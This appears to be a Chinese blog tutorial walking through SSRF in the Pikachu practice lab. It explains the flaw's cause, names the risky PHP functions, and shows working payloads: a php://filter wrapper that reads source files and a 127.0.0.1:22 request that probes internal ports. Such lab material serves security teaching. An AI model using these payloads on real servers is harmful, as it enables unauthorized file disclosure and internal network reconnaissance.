SSRF(Server-Side Request Forgery:服務器端請求偽造)

其形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制
導致攻擊者可以傳入任意的地址來讓後端服務器對其發起請求,並返回對該目標地址請求的數據

數據流:攻擊者----->服務器---->目標地址

根據後臺使用的函數的不同,對應的影響和利用方法又有不一樣

PHP中下面函數的使用不當會導致SSRF:
file_get_contents()
fsockopen()
curl_exec()

如果一定要通過後臺服務器遠程去對用戶指定(“或者預埋在前端的請求”)的地址進行資源請求,則請做好目標地址的過濾。

打開ssrf(curl),點擊a標簽,顯示一首詩。
在這裏插入圖片描述
在這裏插入圖片描述
看到這個url沒有,估計就是這個url導致的跳轉,我們輸入https://www.baidu.com可以發現百度過來了
在這裏插入圖片描述
打開ssrf(file_get_content),反正都讀了,那就在來一首吧。在這裏插入圖片描述
同樣可以修改成百度。
在這裏插入圖片描述
讀取PHP文件的源碼:php://filter/read=convert.base64-encode/resource=ssrf.php
在這裏插入圖片描述
編碼形式轉換即可。
內網請求:http://x.x.x.x/xx.index
eg:
payload:http://127.0.0.1:22(探測這臺主機內網的這臺主句的22端口是否開啟)

參考資料

Web安全從入門到放弃:https://www.ichunqiu.com/course/63838
皮卡丘靶場:https://github.com/zhuifengshaonianhanlu/pikachu
w3school HTML DOM:https://www.w3school.com.cn/js/js_htmldom.asp

版权声明:本文为[吾言道]所创,转载请带上原文链接,感谢。 https://gsmany.com/2022/01/202201080448367550.html